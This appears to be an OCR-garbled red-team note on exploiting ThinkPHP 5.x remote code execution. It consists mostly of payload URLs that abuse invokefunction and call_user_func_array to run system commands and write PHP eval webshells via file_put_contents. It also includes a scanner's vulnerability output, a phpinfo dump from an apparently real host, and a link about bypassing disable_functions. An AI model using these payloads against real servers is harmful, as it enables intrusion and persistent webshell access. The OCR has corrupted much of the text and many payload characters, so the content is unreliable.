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HIEERTHEXE, KA rce

[+] FEFEThinkPHP 5.0 RCE

Payload ?s=ladminfthink\Container/invokefunction&function=call_user_func_array&vars[0j=phpinfodvars[1]=-1
[-] FFEFE ThinkPHP 5.0.10 construct RCE

[ FFEFE ThinkPHP 5.0.22/5.1.29 RCE

[ FFEFE ThinkPHP 5.0.23 RCE

[+] TF1E ThinkPHP 5.0.24-5.1.30 RCE

Payload: I?s=adminfthinkiRe questinput&filterf=phpinfo&data=-1

[ FEFEThinkPHP 3.x RCE

[ FFEFEThinkPHP 5. 3 E S B

R IN A B AT 5 1]

system Linux iZi6cfhcbb3o4bOmrdrdtpZ 3.10.0-1160.25.1,7.486.64 #1 SMP Wed Apr 28 21:49:45 UTC 2021 x36 64
Build Date May 13 2020 1556:18
Configure Command it
rectype withjpeg-dir "-with-png-dir "-with-zlib’ with-libxrl-dir=/usr' isable-rpath' - ;. 0 inline-optimization’ --wit L gex' "—enable-
ble-intl*with-merypt' enable-ftp' ‘-with-gd *~enable-gd-native-ttf ' I=/usi/local/opensst' -with-mhash' ‘~enable-pentl '—enable-sockets' "—with-xmirpc'*~enable-zip' '—enable-soap' with-gettext" disable-fileinfo! "~enable-
opcache’
X HFFH disable_functi
- open pentl_execiini_alerini - open pentl_execini_alterini restore dl openlog.syslog readlink symiink

‘ -popepassthny map_open apache setenv ‘ -popepassthny map_open apache setenv
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http://url/to/thinkphp5. 1. 29/?s=index/\think\template\driver\file/writekcacheFile=shell. php&content=%3C?

php%20phpinfo () ; ?%3E

EAZREE R, BN A X %5
WA K2R H system K echo

exp? = /index. php/?s=/index

\\think'\ \app/invokefunction&function=call user func_array&vars[0]l=system&vars[1]

[J=eehe \" <?php @eval (§_POST[x x1}:?>\" >zxc2. php

1X BL[K[ N disable_function 19¢ &R, system HA T, HERMK.

X BRI R AR INETE I — AT, T RAEM poc, 1FHIHZEATHT

?s=admin/think\Container/invokefunction&function=create_function&vars[0]=){}Stest='<?p
hp eval(S_POST["jumpinfo"]); ?>'; file_put_contents("Qax.php", Stest);//&vars[1]=

?s=admin/think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put
_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval(S_POST[xxxxxx]);?>

% T _EAT cve BFI poc, EJERIIE A

/?s=admin/think\Container/invokefunction&function=create _function&vars[0]=){}$test="<?php eval(§_POST

1% 2>"; file_put contents("Qax.php, $test)//8vars[1]= 82 & v

lambda_1

EE
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X H AT a2 A 4 disable_function 7 B 481t

A AZZ R HS (1) S S IR S &

https://github.com/biggerduck/RedTeamNotes/blob/main/%E5%88%A9%E7%94%A8antswo
rd%E7%BB%95%E8%BF%87disable function.pdf
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https://github.com/biggerduck/RedTeamNotes/blob/main/%E5%88%A9%E7%94%A8antsword%E7%BB%95%E8%BF%87disable_function.pdf
https://github.com/biggerduck/RedTeamNotes/blob/main/%E5%88%A9%E7%94%A8antsword%E7%BB%95%E8%BF%87disable_function.pdf
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